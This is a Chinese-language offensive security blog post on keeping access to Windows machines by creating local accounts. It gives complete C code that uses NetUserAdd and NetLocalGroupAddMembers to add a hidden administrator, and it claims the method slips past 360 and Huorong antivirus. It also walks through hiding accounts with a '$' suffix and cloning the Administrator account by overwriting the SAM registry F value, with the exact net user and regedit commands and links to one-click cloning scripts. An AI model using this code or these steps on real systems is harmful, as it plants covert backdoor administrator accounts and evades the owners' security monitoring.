1. 程式人生 > 實用技巧 >許可權維持之建立本地賬號(T1136.001)

許可權維持之建立本地賬號(T1136.001)


一般新增使用者賬號會被AV檢測到,但是我們可以使用 Windows 的 API進行繞過

使用到的API函式

//新增一個使用者賬號
NET_API_STATUS NET_API_FUNCTION NetUserAdd(
  LPCWSTR servername,
  DWORD   level,
  LPBYTE  buf,
  LPDWORD parm_err
);
//將使用者新增到指定的組,這裡我們肯定是新增到管理員組啦
NET_API_STATUS NET_API_FUNCTION NetLocalGroupAddMembers(
  LPCWSTR servername,
  LPCWSTR groupname,
  DWORD   level,
  LPBYTE  buf,
  DWORD   totalentries
);


微軟給的Demo : https://docs.microsoft.com/en-us/windows/win32/api/lmaccess/nf-lmaccess-netuseradd

#ifndef UNICODE
#define UNICODE
#endif
#pragma comment(lib, "netapi32.lib")

#include <stdio.h>
#include <windows.h> 
#include <lm.h>

int wmain(int argc, wchar_t *argv[])
{
   USER_INFO_1 ui;
   DWORD dwLevel = 1;
   DWORD dwError = 0;
   NET_API_STATUS nStatus;

   if (argc != 3)
   {
      fwprintf(stderr, L"Usage: %s \\\\ServerName UserName\n", argv[0]);
      exit(1);
   }
   //
   // Set up the USER_INFO_1 structure.
   //  USER_PRIV_USER: name identifies a user, 
   //    rather than an administrator or a guest.
   //  UF_SCRIPT: required 
   //
   ui.usri1_name = argv[2];
   ui.usri1_password = argv[2];
   ui.usri1_priv = USER_PRIV_USER;
   ui.usri1_home_dir = NULL;
   ui.usri1_comment = NULL;
   ui.usri1_flags = UF_SCRIPT;
   ui.usri1_script_path = NULL;
   //
   // Call the NetUserAdd function, specifying level 1.
   //
   nStatus = NetUserAdd(argv[1],
                        dwLevel,
                        (LPBYTE)&ui,
                        &dwError);
   //
   // If the call succeeds, inform the user.
   //
   if (nStatus == NERR_Success)
      fwprintf(stderr, L"User %s has been successfully added on %s\n",
               argv[2], argv[1]);
   //
   // Otherwise, print the system error.
   //
   else
      fprintf(stderr, "A system error has occurred: %d\n", nStatus);

   return 0;
}


當然,我們要的是管理員許可權,因此在使用 NetLocalGroupAddMembers 新增為管理員

#ifndef UNICODE
#define UNICODE
#endif
#pragma comment(lib, "netapi32.lib")

#include <stdio.h>
#include <windows.h> 
#include <lm.h>
#include<stdlib.h>
#include<Shlobj.h>


int wmain(int argc, wchar_t* argv[])
{
    USER_INFO_1 ui;
    DWORD dwLevel = 1;
    DWORD dwError = 0;
    NET_API_STATUS nStatus;
    BOOL Isadmin = IsUserAnAdmin();
    if (argc <3)
    {
        fwprintf(stderr, L"Usage: %s  UserName Password\n", argv[0]);
        exit(1);
    }
    if (!Isadmin) {
        fwprintf(stderr,L"[-] Run as administrator level");
        exit(1);
    }
    //
    // Set up the USER_INFO_1 structure.
    //  USER_PRIV_USER: name identifies a user, 
    //    rather than an administrator or a guest.
    //  UF_SCRIPT: required 
    //
    ui.usri1_name = argv[1];
    ui.usri1_password = argv[2];
    ui.usri1_priv = USER_PRIV_USER;
    ui.usri1_home_dir = NULL;
    ui.usri1_comment = NULL;
    ui.usri1_flags = UF_SCRIPT;
    ui.usri1_script_path = NULL;
    //
    // Call the NetUserAdd function, specifying level 1.
    //
    nStatus = NetUserAdd(NULL,
        dwLevel,
        (LPBYTE)&ui,
        &dwError);
    //
    // If the call succeeds, inform the user.
    //
    if (nStatus == NERR_Success)
        fwprintf(stderr, L"User %s has been successfully added on %s\n",
            argv[2], argv[1]);
    //
    // Otherwise, print the system error.
    //
    else {
        fprintf(stderr, "A system error has occurred: %d\n", nStatus);
    }
    NET_API_STATUS gStatus;
    LOCALGROUP_MEMBERS_INFO_3 gi;
    gi.lgrmi3_domainandname = ui.usri1_name;
    
    DWORD level = 3;
    DWORD totalentries = 1;

    gStatus = NetLocalGroupAddMembers(NULL, L"Administrators", level, (LPBYTE)&gi, totalentries);
    if (gStatus == NERR_Success)
    {
        fwprintf(stderr, L"[+] User %s has been added into administrators\n", argv[1]);
    }
    else
    {
        fwprintf(stderr, L"[-] A system error has occurred: %d\n", gStatus);
    }
    return 0;
}



過程中 360 火絨 皆無反應



最後在推薦一個工具

https://github.com/bopin2020/net_user_tools_bypass_hook_net.exe

一般來說,不僅僅是新增使用者會被攔截,刪除使用者等操作也是會被攔截的,這個工具已經集合了這些功能了

如何有效隱藏使用者賬戶


一般做許可權維持的話就要思考如何將我們新增的使用者隱蔽起來

首先你可以去新增以 $ 結尾的使用者

.\AddUser.exe qwerty$ pass@123 




使用 net user 命令是看不出來的,但是你能夠在控制面板或者 net user qwerty$ 中看見,高版本Windows中在登出後也可以看見



測試克隆使用者

這裡面我們克隆一下 Administrator 使用者測試(需要保證你的管理員賬戶是啟用的,不然克隆後也是禁用狀態)

想將我們的登錄檔的 SAM 項的許可權改為 administrator可以完全控制

在登錄檔中找到我們新增的使用者,並且匯出為1.reg(並且記錄其 登錄檔項的預設值,我這裡是 0x3fd)



再根據型別值匯出這個項 2.reg

預設情況下 Administrator 的型別值為 0x1f4

我們根據這個匯出他的登錄檔項 3.reg


接下將 2.reg 中的F 值替換為 3.reg中的F值(其實就是登錄檔下的 F 項的值替換)



接下來就這樣操作

net user qwerty$ /del    // 刪除原有的賬號
regedit  /s 1.reg        //重新匯入
regedit /s 2.reg




那麼這個克隆賬號就做好了(在控制面板中看不到了),可以理解為這個賬號指向了 administrator

不僅僅可以克隆其他管理員賬戶,其他的都可以.

三好師傅也給了一鍵利用的指令碼

https://github.com/3gstudent/Windows-User-Clone/blob/master/Windows-User-Clone.ps1



至於如何提升至 System 許可權,可以參考上文中的令牌竊取

參考


https://www.cnblogs.com/17bdw/p/6790197.html

https://github.com/bopin2020/net_user_tools_bypass_hook_net.exe

https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E7%B3%BB%E7%BB%9F%E7%9A%84%E5%B8%90%E6%88%B7%E9%9A%90%E8%97%8F/